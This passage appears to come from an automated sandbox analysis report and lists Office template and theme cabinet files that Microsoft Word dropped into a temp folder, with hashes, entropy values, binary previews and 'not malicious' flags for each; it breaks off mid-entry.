Preview:	MSCF....e<......L...........................e<...?...................;......................gostname.xsl."...............Content.inf.[.......[...>..\|..32.E..o`h....W.>.^...v..5...m.w.$.U..U......m.mu...'4....m`.9F.. ...I..PTS..O.D...GM#...#CUE.`.`%n..N...G,.~..+.6cv.L...G.m.Y..vy.....Yh9/.m,..wtw..;....Ka.a.{.\...'.....<X....%)...G..d......R./..4$..32..@....f.h....w..ov.}w..[.....{.v.......dr..&w#G..$3.zI&f..(C..L.z5J... .`...!.!4. ...!.` .$........w.J.X7.w_..@.w..f]=.C.....I-....s.s_.x...~..A... ...z...nM..;....Z....vt....6...~.w.....*x.g.h.T.J..-.3=....G.n..ti.A...s...j$.Bf..?......6.t.<j...>.."....&=BO?w.uN.o.t.-r..K....>C..^G..p...k...>.xZ.[fL..n.."].W#...\|.i.0W.q.F: ..<#w......w....s....."...n.qu.../rI.....q....P~.B..\|b?.N.}..MyO..q..:q.7..-~.xa.S...\|.....X.....g.W.3.mo..yy.GG.s>....qy....r........#.F.P..A.......A....b.2..14.8.i6..w.S...v~{0z.<.Z...^!.;2mSV.i....{...U...+...r.;...h.++..T6.a...$....j5F+..1t....b......\|.Q\d-.S..2... ......Y..A...s....

C:\Users\user\AppData\Local\Temp\cabE8BF.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 18672 bytes, 2 files, at 0x4c "APASixthEditionOfficeOnline.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 11 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	34816
Entropy (8bit):	7.840826397575377
Encrypted:	false
SSDEEP:	768:i3R9VYnIYfPYmqX0CnF1SRHVnLG8Pi61YbEIFO:ih9VjYfPYlk+F1SJxP71YbEIFO
MD5:	62863124CDCDA135ECC0E722782CB888
SHA1:	2543B8A9D3B2304BB73D2ADBEC60DB040B732055
SHA-256:	23CCFB7206A8F77A13080998EC6EF95B59B3C3E12B72B2D2AD4E53B0B26BB8C3
SHA-512:	2734D1119DC14B7DFB417F217867EF8CE8E73D69C332587278C0896B91247A40C289426A1A53F1796CCB42190001273D35525FCEA8BA2932A69A581972A1EF00
Malicious:	false
Preview:	MSCF.....H......L............................H...?...................G......................APASixthEditionOfficeOnline.xsl.H...............Content.inf..h;.....[...Q..\..3S.5..oVP!i/Z.Ls...]q$...xY..+W.qm..B..y/.5.s..x$../K./.x.$.....}.......\........LNf..Hd.&."Ip.L.Mr-@.D..kW~i...^.....F.....T.U....../..0..2.{.q.T.`'{.00.{.B...>.R..2....1.~_.f..s...........~....~[..v..w..v....$[K.r$#[6...d;[...#.9.-...G..Z..eAR.0")%JI?&....$..$.H..$(........f.> k....hP...p...!j.T......l7..../3..(2^V...#..T9...3.@[0...le:...........E....YP.\.....au1...\.S\|..-.duN.Z..g.O......X8....1.....\|,.f/..w.\|Wk]zJz.g'./7h..+.....}............x....s.2Z\..W.{...O....W.{j.U..Q....uO=.p.M k.E.S{SUd.@....S.Syo8>......r......8..............Z?>.mUAg....?o....f.7..W.n...P..........d.S?...\..W`...c.ua..........#.Y...45...F(d.o\09^..[.}...BsT.SD..[l.8..uw.7l..S.9T.KR..o......V..]...M .....t.r...:P...M....4.F.....@..t.1t..S...k.2.\|5...i.%H..<.J...0n.....lZ.....?.?.~..O .)..

C:\Users\user\AppData\Local\Temp\cabE8D1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 9170 bytes, 2 files, at 0x44 "InterconnectedBlockProcess.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	25314
Entropy (8bit):	7.729848360340861
Encrypted:	false
SSDEEP:	384:75V23GNhfG/YvmBqWDP7G8E0GftpBjEB1vrFLrHRN7mKll7PK/pRU0:LS/Yvc7TG8Pi6BLm6IS0
MD5:	C47E3430AF813DF8B02E1CB4829DD94B
SHA1:	35F1F1A18AA4FD2336A4EA9C6005DBE70013C7FC
SHA-256:	F2DB1E60533F0D108D5FB1004904C1F2E8557D4493F3B251A1B3055F8F1507A3
SHA-512:	6F8904E658EB7D04C6880F7CC3EC63FCFE31EF2C3A768F4ECF40B115314F23774DAEE66DCE9C55FAF0AD31075A3AC27C8967FD341C23C953CA28BDC120997287
Malicious:	false
Preview:	MSCF.....#......D............................#...?...................#..............InterconnectedBlockProcess.glox......#..........Content.inf...<.:#.$[......O..........5f.P.5CU..6..jT..U..U..UM.T.........h................-... .......6...`.....G...........'.,DN:........... "..4..1u.....%.u..{{,....@lp..}..`.......Z...K.....Z..... Z4.<?..C.BF.....k.!Hl...]...Tvf..g....)...vny6.'..f....Z.R.`.......+....!..!.....:..4fj....."q..f..E..^!k.....M.c....R...B......g...~.........o.'.7,.e.,..7.R.e,(.+..+:....Q....f...P.H.I..U.....Jl...l...z.]7...C...<...L.,..@...i.{..e]K...2..KRW..7.-'.G.l!.n7..J.v.C...%/.....q...@..l..e..$..N..sg8]oo.(q(_.?.X.s...Ua..r0...Rz.o.eT.j...b..}",n.qou..M.[.;%../c.x.4.z.2.U.]..D...h...-R.$.=\3..P......N.mP......J...}BPn...g]d.5k..C.ee.ml...\.g...[.......<..6$.%.I#S9..I...6.i........_..P.n....c$.3..zw.hF......_{.+...o...[.&........&...M..m.....;....0....D7...4nQ.=/.._`._.nh.D.m..h.+....8..p..q.4.w.\...iy...*...lN6F..c.

C:\Users\user\AppData\Local\Temp\cabE8D2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 3749 bytes, 2 files, at 0x44 "TabbedArc.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	19893
Entropy (8bit):	7.592090622603185
Encrypted:	false
SSDEEP:	384:v3Zh3VlkpSIcgbA8E0GftpBjEmm3UFLrHRN7GYvlvQyUTL2mTAp:v31qp/A8Pi6mUqGGvU+mcp
MD5:	EF9CB8BDFBC08F03BEF519AD66BA642F
SHA1:	D98C275E9402462BF52A4D28FAF57DF0D232AF6B
SHA-256:	93A2F873ACF5BEAD4BC0D1CC17B5E89A928D63619F70A1918B29E5230ABEAD8E
SHA-512:	4DFBDF389730370FA142DCFB6F7E1AC1C0540B5320FA55F94164C0693DB06C21E6D4A1316F0ABE51E51BCBDAB3FD33AE882D9E3CFDB4385AB4C3AF4C2536B0B3
Malicious:	false
Preview:	MSCF............D................................?..................c...............TabbedArc.glox.....c...........Content.inf.;....Y.[.........B.....?.T..ZD...........^C...U.R<Z....z+.I.....Z..-.V...f.....lB..\P.....=.-p....w ...\.kD..x'v..T..A..............".8...d.........FD.ZL.h..T...bp.)9B.v..i..VX...&..\..7.s..qy...l........Rty.Y...rU..>.9...8....L..\.^x.kDU.\|TJ..{kN.G..E..$.kvy?.. mv......P..4.....q.1.6<u....e..dD...4.1E..Xi.5.=....1.P.c.K~S...YMO:.?..cL.g.tq\.(b1....E..0A.i..C...BT.m.S......:...}.&U..#QL..O.O../..K......=..........0a..O............BYP......>f.......iu...7.K..;QO~.t....%N.s.]>~#../7YN.....C..9.=cY.......y..U5.....,.....u.....#_..SG.`NR.....?..d.R.k.rX$...&.... ..h.4T.D^k-xA...............Hz..ep)e..4..P."fo Ne...o.....0n.Exr.........H..v...A.."..%)2......5...".}j.o8...E.HRQ;}.. .._L.+.jz....{.U..}...=B.o.^..vZ.:5.Z.M....y{\(...N..9...EB*MG...!N.vy..^...nE..2..@.;.4..C..t.4....h..O.8.=.m./...\|Lu.\|mCU..b.^.n39.h[M...%D{..w.1

C:\Users\user\AppData\Local\Temp\cabE8D3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 19375 bytes, 2 files, at 0x4c "turabian.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 11 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	35519
Entropy (8bit):	7.846686335981972
Encrypted:	false
SSDEEP:	768:2LFougzHaUdBKUsM+Z56zBjA8Pi6bo+ld8IX:MFodzHaULR9P7bo+l6IX
MD5:	53EE9DA49D0B84357038ECF376838D2E
SHA1:	AB03F46783B2227F312187DD84DC0C517510DE20
SHA-256:	9E46B8BA0BAD6E534AF33015C86396C33C5088D3AE5389217A5E90BA68252374
SHA-512:	751300C76ECE4901801B1F9F51EACA7A758D5D4E6507E227558AAAAF8E547C3D59FA56153FEA96B6B2D7EB08C7AF2E4D5568ACE7E798D1A86CEDE363EFBECF7C
Malicious:	false
Preview:	MSCF.....K......L............................K...?...................J.......@..............turabian.xsl."...............Content.inf._.......[...T.....C4.5...E0B.]...+.-f....rc.[52.$...a..I....{z...`hx.r...!.. $...l..\....#3EF..r..c;<p...&n.\b..K..0Y..c+.2...i..B..wwY..77,...........}.q.C.......n..,.....prrx.QHy.B#..,.'....3....%1.``..hf...~...[.[n.v.s..y.vw....;..s.G293G&H....$E......m.&^..iy/.4.C...D...".(H&..&.I4._...!...... ........q.k1.d.....qc.3.c.....;.5.......y}...}&...+.WAN.,zVY.Q....V.Tz........g..H..c...E2jY...4g?.yf<....V.M.s.$..k.Id....+..?..._.\.s.k..9..I%;.yWQ..S..]...n<.7........=......"Q.E.....MG..j.Yt..!U....Q.j...v.h-.~b..e&.......;...\.....:.....=..Xv1&q........6\...xw.%.VdS..H...o...s.....+..%[../>.t..I....F.....".G\|.....=....[..S..3..a.C.ZZ...tK.6N..b........)>........I..m..QE.M.nv.MVl.....vCG>,.suP.gqo.rr....J`m....J.b..},[F....e.A.]..r....C4.?JJs6..l.].9...Q.B.~.......\d%.X ...8A....rH....&?#...^.....4.h.{>

C:\Users\user\AppData\Local\Temp\cabE8F4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 27509 bytes, 2 files, at 0x4c "Equations.dotx", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 2 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	43653
Entropy (8bit):	7.899157106666598
Encrypted:	false
SSDEEP:	768:+bjfeR1OOZvv439PlDe5/QzhgFSo0UEDmJwkqTA8Pi63Bsgn66w:IM3CN9ZzhFbUUwaP73BsB6w
MD5:	DA3380458170E60CBEA72602FDD0D955
SHA1:	1D059F8CFD69F193D363DA337C87136885018F0F
SHA-256:	6F8FFB225F3B8C7ADE31A17A02F941FC534E4F7B5EE678B21CD9060282034701
SHA-512:	17080110000C66DF2282FF4B8FD332467AF8CEFFA312C617E958FDFEBEE8EEA9E316201E8ABC8B30797BB6124A5CC7F649119A9C496316434B5AB23D2FBD5BB8
Malicious:	false
Preview:	MSCF....uk......L...........................uk...?...................j......r...............Equations.dotx.................Content.inf.94v..R..[..... .............v........." Vw.w..r.....D.V5.p...W......b;....\x.....f.-...............l.....L.F....@..BnF.I.....%1..0....&.X.......X-.\.\.>..A....@..:...N .G./.Sp.A0.0.`.....q....b... ......S.{K...V....J............>\....\.E.#.,$.hxu.F.Fo....<...{..6../..#..l>d...w...&...S.....L.].....^..L......;~l.......qw.o. .....v.u.W`.4Z.A.....dC..Q)9.c..qgtfJ..G.(.J....q4V.).mK4;..zY..b.5&....V...0X.].Z..U.Lx..^..:8XQh.....7yy.._5............c.W...c...xY..%..G.$....kg^.1g.9.....z^.'...q."..K)a[.pW .LS.:Q8.....2..._q.os....y...d11..m....8.,.^.4_?i.e.u.,....._y.....zZZA.D.D<..+....{....Sfnv...t.....0...vV..y.r..3..%.<.t......;.h.wh.-.g.>..5...R...........y..]^..R..<...>$~.'...kk.n..H.EN.eQ.Q.O./='....)t.l0,/].....FNN......?...&..'.eS....K.K.v".^L..x=.^......1x\|....=}@...B.kq;_a..C.q?..Y9.v......Q..u.G..V.

C:\Users\user\AppData\Local\Temp\cabE905.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 5213 bytes, 2 files, at 0x44 "rings.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	21357
Entropy (8bit):	7.641082043198371
Encrypted:	false
SSDEEP:	384:zdx+NRrogu6fzCI7Th7G8E0GftpBjEzZq4FLrHRN7/Oll7PK/pB:/+NRrFf/G8Pi6zZb/GIB
MD5:	97F5B7B7E9E1281999468A5C42CB12E7
SHA1:	99481B2FA609D1D80A9016ADAA3D37E7707A2ED1
SHA-256:	1CF5C2D0F6188FFFF117932C424CC55D1459E0852564C09D7779263ABD116118
SHA-512:	ACE9718D724B51FE04B900CE1D2075C0C05C80243EA68D4731A63138F3A1287776E80BD67ECB14C323C69AA1796E9D8774A3611FE835BA3CA891270DE1E7FD1F
Malicious:	false
Preview:	MSCF....].......D...........................]....?..........{.......................rings.glox.................Content.inf..\|^.....[......P........<.$.."..0R..xa.Ax#B..d... ....K,.....^.H.....H.........&.j.\f.. ..,....,..!k..R..e..!...E...........................><.RB.....~h...........Q................g..M\|,...x.....qV7.u..\...F-N.{-..X..&Zig.~..{.A.p.Z...X..{,-n............`$.%.ND.....>].6cvZ.%d..a.$..-.K.Hf....L..;.#...H....U,........P.@.-$C.,.g...%YJE..$.jP........b...Y<..[U...MF]F.K...1... x.}3w.o.#,.}T.....w5+...=.=...c.F^....OM.=.......G_{n.*...WC.w!......{/.~.}..s..6_......)..Xy...4.....<..XZJ........#~._i....%..fM.V.?.q...q.....7...B..sVt...(.:..c....~.e...kGZ...C..(J..o...`...?.)-.T.l....&...gR.$.....g.:...2.e%F.....x....z0...K..a8B...........D..]....7....~.".DR...r)...}b)e.>.\h~f...(}.c........Q...o5H.........C.KC.(.L.l................R..a.pg{..\.......-b........}.C......qTS..%..r.lG..Q.1..Z.>a.D...tC..LV...Rs.C.M18x.:......%O.

C:\Users\user\AppData\Local\Temp\cabE906.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 26644 bytes, 2 files, at 0x4c "Element design set.dotx", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 2 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	42788
Entropy (8bit):	7.89307894056
Encrypted:	false
SSDEEP:	768:Hx+UzBiwDQTXgBm029ClGn4BZz6i5kIew/jG8Pi6lYJz1gH:0ZXc29eGn2n5klwjxP7l2z1gH
MD5:	21A4B7B71631C2CCDA5FBBA63751F0D2
SHA1:	DE65DC641D188062EF9385CC573B070AAA8BDD28
SHA-256:	AE0C5A2C8377DBA613C576B1FF73F01AE8EF4A3A4A10B078B5752FB712B3776C
SHA-512:	075A9E95C6EC7E358EA8942CF55EFB72AC797DEE1F1FFCD27AD60472ED38A76048D356638EF6EAC22106F94AFEE9D543B502D5E80B964471FA7419D288867D5D
Malicious:	false
Preview:	MSCF.....h......L............................h...?..................@g......o...............Element design set.dotx.................Content.inf.Y/..Re..[......f........,..]....D.],....]..X.......XC4pE.....p........2..u;L.N.....]G..d.^d.$).e.=..;..Kb.../.../....H.."...w$._I..5.....a..4.Gd5p......v.8..1..%H..\..e...3.e..A..).d.. . (.8.".......(>..<...@...~v&.f..LWhqk]+Uep.d..%...o.....k.......e...nNN.&_.>.d.?H`"...r?..Z.p..q..<M.N.t....{.y]#...._XW"qI...x.......}.. .N...;.}:..m8...[.r.F....^?...o...u.....J3.V....~...~tn#.Kf6.s.\|*..,s...M.$.f..?Yu.pE.1_wU...%....._..'..Z......y:.{.J5..7..Q.w}/.~.-3~Ctw=..IT.....mI.u@...y.M....2.%...y...Y..j.k<-.Q.r...7m..b...+.6..\|.....U..}[...,....^....5..D..qW...[3).p.Y<.Hh..t...%cw=Z..W.~W.F....zr.4.g...O...P.g_^..3.-............3s...S..y...u...N...EsJz....tT../..c[w{cG....../6.....:.W<d5}.q..s..K"$........Ne..5..#.v'..n4.rj....Fc=....5..VN.....6..9`....\|..........WX..-?..........W.)^`1.......].R2..s6...H.......

C:\Users\user\AppData\Local\Temp\cabEA0A.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 206792 bytes, 2 files, at 0x44 +A "content.inf" +A "View.thmx", flags 0x4, ID 33885, number 1, extra bytes 20 in head, 15 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	222992
Entropy (8bit):	7.994458910952451
Encrypted:	true
SSDEEP:	6144:k8/c2cF9GTLqsTmYstUdx+dwb2ooiVOfiI17zWbQ:jbzqGdpbZ/Mf3h68
MD5:	26BEAB9CCEAFE4FBF0B7C0362681A9D2
SHA1:	F63DD970040CA9F6CFCF5793FF7D4F1F4A69C601
SHA-256:	217EC1B6E00A24583B166026DEC480D447FB564CF3BCA81984684648C272F767
SHA-512:	2BBEA62360E21E179014045EE95C7B330A086014F582439903F960375CA7E9C0CF5C0D5BB24E94279362965CA9D6A37E6AAA6A7C5969FC1970F6C50876582BE1
Malicious:	false
Preview:	MSCF.....'......D...............]............'..H?..........z..................M{. .content.inf..l.........M{. .View.thmx......R..[...........@...G...I..(J.....B....Q!....}Ju..(BR..._\|.5.%.....6m...........?.w{.rm,....#....;Ba#.:v...Dv.."u.v{!...f}......!......:.S.......".z.f.......==.n.0Km0eh.Kbm.C.r.6.........d..h.....{..w..}....2sb...rvm..x...0(..B... ...BH.r#.@..d".*..F+...Q.sx.....?...d.d.eZ2W2.2d...q.I....4.e4....#.....K...3...1.p.y......>.~V....cm....n^..b.{..._D?..AG...'...k.L&..h}=p.....Wl....(.......>.~.].....'.4.W{......../......7.....'.s...w...6..hn..e.2.).l]u.v4...GF.X..X..X....G.i.\..y.g&.<&ti......Sp,j.....>I..S..%.y..........S..-).+...>...D..............[...d...jt.~<x.a(.MDW..a..ZI.;+..!,.$...~>#...).R4...K.$.Zm......b...........{..._..A{.}..r...X...T.ZI.T.).J...$.".U,.9...r.z.)......}...()<....m....QS.p...;?..5.W~2r.EZu..P.1.%'l.........+/6.Mm.\|2....Ty..f.o.S.....3J.._...X,..m....:..1.<GqFy.QA9W4.=....n...ZP...O.\.[...:8.%.^..H.....

C:\Users\user\AppData\Local\Temp\cabEA5B.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 291188 bytes, 2 files, at 0x44 +A "Banded.thmx" +A "content.inf", flags 0x4, ID 56338, number 1, extra bytes 20 in head, 18 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	307348
Entropy (8bit):	7.996451393909308
Encrypted:	true
SSDEEP:	6144:7vH3uG+yiWx0eVJyORloyyDqnHefzOs81MrXLXx7:b36yiWH/LRS2CJl1
MD5:	0EBC45AA0E67CC435D0745438371F948
SHA1:	5584210C4A8B04F9C78F703734387391D6B5B347
SHA-256:	3744BFA286CFCFF46E51E6A68823A23F55416CD6619156B5929FED1F7778F1C7
SHA-512:	31761037C723C515C1A9A404E235FE0B412222CB239B86162D17763565D0CCB010397376FB9B61B38A6AEBDD5E6857FD8383045F924AF8A83F2C9B9AF6B81407
Malicious:	false
Preview:	MSCF....tq......D...........................tq.. ?..........\|..................Mn. .Banded.thmx............Mn. .content.inf..;.u.i..[...............?....^.j.{j.B...$M/!...W....{!..^0x/.6...&............w......$.B..J.?a.$=...P..L...d..........+./.\..E:h.....-.$..u-.I..L\.M.r..Y..:rtX:....8...........+8.}{......&.-..f.f..s3-P.''.r...Z-"/E../...^%^N(,.$..$.H..O........q>...\|.\|......y..m.)u....`.....z.n..-.[.5....xL....M...O..3uCX..=4.....7.yh...dg.;..c.x.4..6..e..p.e"..,.!.St{..E..^I.9j....;..`.Y..#.0..f...G.....9~./....QCz.93..u%hz.........t9.""........)..7K.c~E!..x.E.p...[......o..O.j.c.......6.t{...".....t9V;xv....n<.F.S2.gI.#6...u..O..F.9.[.L.....K....#..zL..I...o....k...qog.......V..BKM..#.bET.)..&4..m.w.......E.a[.Q.y.B...w...r.nd...)...<..#..r[4.y...#.z.....m?.2K.^...R{..m..f......r?]..>@...ra$...C+..l].9...."..rM9=......]".'...b&2e...y..a..4....ML..f...f"..l..&.Rv=2LL..4...3t_x...G....w..I.K....s.t.....).......{ur.y2...O3.Kf.*P(..F..-.y.Z...

C:\Users\user\AppData\Local\Temp\cabEA6B.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 214772 bytes, 2 files, at 0x44 +A "content.inf" +A "Parcel.thmx", flags 0x4, ID 26500, number 1, extra bytes 20 in head, 19 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	230916
Entropy (8bit):	7.994759087207758
Encrypted:	true
SSDEEP:	6144:OTIPtMXmJWnzPS3pqnkeuJXW+FNx1a72rLiQxEBTR:750nz63/FJRFLISnp+Bt
MD5:	93FA9F779520AB2D22AC4EA864B7BB34
SHA1:	D1E9F53A0E012A89978A3C9DED73FB1D380A9D8A
SHA-256:	6A3801C1D4CF0C19A990282D93AC16007F6CACB645F0E0684EF2EDAC02647833
SHA-512:	AA91B4565C88E5DA0CF294DC4A2C91EAEB6D81DCA96069DB032412E1946212A13C3580F5C0143DD28B33F4849D2C2DF2214CE1E20598D634E78663D20F03C4E6
Malicious:	false
Preview:	MSCF.....F......D................g...........F...?..........\|..................L.. .content.inf.zG.........L.. .Parcel.thmx.>2...R..[...0...........7....B+...BH....{...^.../.....B{...1....+".....<.....$........{.......sD"..j...}... P..w..U..f...6.x8. ...C..F.q.7....T.6p......B.P..L..g......A..43.W`.....{{...u.4...:.bb.4"X..m..)$..@(H. H.tBPTF..,.&.B.'...6..2...n..c%...Z@.(.@.......(.<i.i....P......?......o.......F.M.L......i.....C..7..../.....MQ.0..l.U.s.Fu.......1...p.;.(.}..ogd..<.._.Z......._.......O.J......97...~<...4.c....i..........'k.5.......Q.$..C..E... ..5.7....N.a.[ns6hi..kM....?....X......9q...!O\....0....n.^s.9.6..............;. ..r...rf..C6z..v #.H...O...v/.sl....J.m%.L.Dp.e....uO..g.y....f...].5.........W.....h^[..w.\|.=.ru.\|.M..+.-.B...D.Ma....o.<X SnI....l...{..G..,..y5\W.@..y.;.y ...M..l.....e..A...d.e!.E..3.......k1.......6gY).../....pQ..?..s.W.)+R.S5..../.0..vz.^.......k.....v..9..A.NG...N~#..$.B...s,(.o.@.ar.!.J.....

C:\Users\user\AppData\Local\Temp\cabEA7C.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 252241 bytes, 2 files, at 0x44 +A "content.inf" +A "Frame.thmx", flags 0x4, ID 34169, number 1, extra bytes 20 in head, 16 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	271273
Entropy (8bit):	7.995547668305345
Encrypted:	true
SSDEEP:	6144:zfdvQnJMwXse4Vradf3mrC7woyWbjKlCVC7K:zfJwJse4VrS1AK
MD5:	21437897C9B88AC2CB2BB2FEF922D191
SHA1:	0CAD3D026AF2270013F67E43CB44F0568013162D
SHA-256:	372572DCBAD590F64F5D18727757CBDF9366DDE90955C79A0FCC9F536DAB0384
SHA-512:	A74DA3775C19A7AF4A689FA4D920E416AB9F40A8BDA82CCF651DDB3EACBC5E932A120ABF55F855474CEBED0B0082F45D091E211AAEA6460424BFD23C2A445CC7
Malicious:	false
Preview:	MSCF....Q.......D...............y...........Q...XJ..........{..................M.. .content.inf.(..........M.. .Frame.thmx.1....b..[.........B.....6....ZZ}....BH..-D..}..V.V-........Z..O.....H.f..........;..@d.`......!..=;.,bp..K.q....s.y....D.qZ)p......D...r.S....s=B.4.).8B....4.a6 ...~........."....#.....}....n.Q.1cH.%c/.U....E..E...!..Da.p....X..G..:.....1.@.....W.'...._........W.c...<.v.k.....&.8......?.h.>d._:-.X.......9..tL}........3.;.N3.D~......>.^?..\|:...}......oT.z.......w..[..}:...._fu........Kk.......L..9..p..e..^......K.%...Mapqhvv..E&.^.....[...9\|"l...9...U......!..w..Nya...~C.yx...w.K..q.z.j.W?t.......DY.x.S2.....]..na.Qj...X.K..^...S.hK.W...Z....s.0...NF...8C.......j.'Zc...k.%...l....S.....OW..o.Qf.x...X.;<.rO].....W.m.e....T.1.6........".....Q.3........l..v.."..I...&......w..4vE...c.s[.3.m..8.q$.....a...)...&:6..,..#..?....;.!.....~.UP.r=.}h.&U......X...]..X.e\u.G<....E....lG.@.Z...10.D@.]....z+-.S....p..Y.PK.:.S..p.....1E`..-

C:\Users\user\AppData\Local\Temp\cabEA9D.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 279287 bytes, 2 files, at 0x44 +A "Basis.thmx" +A "content.inf", flags 0x4, ID 55632, number 1, extra bytes 20 in head, 18 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	295527
Entropy (8bit):	7.996203550147553
Encrypted:	true
SSDEEP:	6144:nwVaEqsf23c9shf6UyOGgDWDn/p3fd+zkPWnvGL3n9bQnkmVheyqtkl:MlPfW6sVEDn/pPdhWnvGL36zyyqal
MD5:	9A07035EF802BF89F6ED254D0DB02AB0
SHA1:	9A48C1962B5CF1EE37FEEC861A5B51CE11091E78
SHA-256:	6CB03CEBAB2C28BF5318B13EEEE49FBED8DCEDAF771DE78126D1BFE9BD81C674
SHA-512:	BE13D6D88C68FA16390B04130838D69CDB6169DC16AF0E198C905B22C25B345C541F8FCCD4690D88BE89383C19943B34EDC67793F5EB90A97CD6F6ECCB757F87
Malicious:	false
Preview:	MSCF.....B......D...............P............B..p?..........{.................M.. .Basis.thmx...........M.. .content.inf.`g..td..[...............5..$..WM.....R.......H\.+\./^...x.^..h..MU..\........v........+......g...$.......g.....~....U].7..T..1k.H...1...c.P.rp.6K..&......,.............U4.WoG.w.....;.....v..922.;]..5_-]..%E]b..5]... (..H..II..ttA4Q..BI!\|...H.7J.2D....R.......CXhi`n....6..G.~&.[..N...v..Z"t.a..K..3..).w...._@.}.}.v.......4......h....R;.8.c&.F...B^....Q.....!Bm2...F.`.......M;...#.{....c...?...e...6t..C.-.E.V.v%I..H.....m.n...$D.....vU'.....=6}~...Gw...Y..?.@......G.....k......z...5d.h......1.}..O*;e..t......Y.0...3.v).X.-.2.....~....14.[.w=I....hN....eD..7G.u.z..7.do..!....d..o.wQ.:....@/.^..<e.-..=\.....6.C.'.rW$..Cp.M3.u6z......Q.F.9.5....juc..I...m4]7L....+n......).t......2[.3.p.:.....O5y..wA........^..!..H....{..S.3w.!&.'.;...(..\|m.x.S..Z.j..3...n..WU...../w.......xe=.+.D...x..qy.S.....E..... ...uu.`.,..<.6[p

C:\Users\user\AppData\Local\Temp\cabEAEE.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 243642 bytes, 2 files, at 0x44 +A "content.inf" +A "Metropolitan.thmx", flags 0x4, ID 19054, number 1, extra bytes 20 in head, 24 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	261258
Entropy (8bit):	7.99541965268665
Encrypted:	true
SSDEEP:	6144:9blShNYrHNn0JU+D+kh8CIjXHWC7X0nZLC9Ge2KY/WfI:9ZSTYrtn0Sk+CIDHWC7chVKYx
MD5:	65828DC7BE8BA1CE61AD7142252ACC54
SHA1:	538B186EAF960A076474A64F508B6C47B7699DD3
SHA-256:	849E2E915AA61E2F831E54F337A745A5946467D539CCBD0214B4742F4E7E94FF
SHA-512:	8C129F26F77B4E73BF02DE8F9A9F432BB7E632EE4ABAD560A331C2A12DA9EF5840D737BFC1CE24FDCBB7EF39F30F98A00DD17F42C51216F37D0D237145B8DE15
Malicious:	false
Preview:	MSCF............D...............nJ...............D.................."..........M. .content.inf....."......M. .Metropolitan.thmx...cVtP..[.....`Q..B.....=.T.....h.."...Z..\|..}hZK.V....Z..Z................?..v...[S$."...H......^u.%.@...>....... f.........1.5......&lm.tZ.msz:...Noc....1....D .........b..... ..3#pVp....}oo]{m......H[%i.GNHB1D<......(# ....H"....DP..b(B.<.....v......_..`.7..;.}............/.p}.:vp....~l0..].........S....G?.....}..U.;......dNi..?........-c..J.z....Z...._.O.....C..o.,......z....F....sOs$..w9......2G..:@...'....=.....M..am.....S......(`.._....'......[..K"....BD...D...^1k.....xi...Gt....{k@.W.....AZ+(,...+..o......I.+.....D..b. T.:..{..v.....g..........L.H.`...uU~C.d...{...4.N.N..m8..v.7..3.`.....,...W...s.;.fo.8.Y...2.i...T&.-...v8..v.U.Y=...8..F.hk..E.PlI.t.8......A.R....+.]lOei..2...... gS.......%8H.....<.U.D..s.....>.....D_...../....l.......5O1S~.........B.g.++cV.z.f .R.Z.......@6....(..t^5"...#G...

C:\Users\user\AppData\Local\Temp\cabEB20.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 259074 bytes, 2 files, at 0x44 +A "content.inf" +A "Dividend.thmx", flags 0x4, ID 58359, number 1, extra bytes 20 in head, 18 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	276650
Entropy (8bit):	7.995561338730199
Encrypted:	true
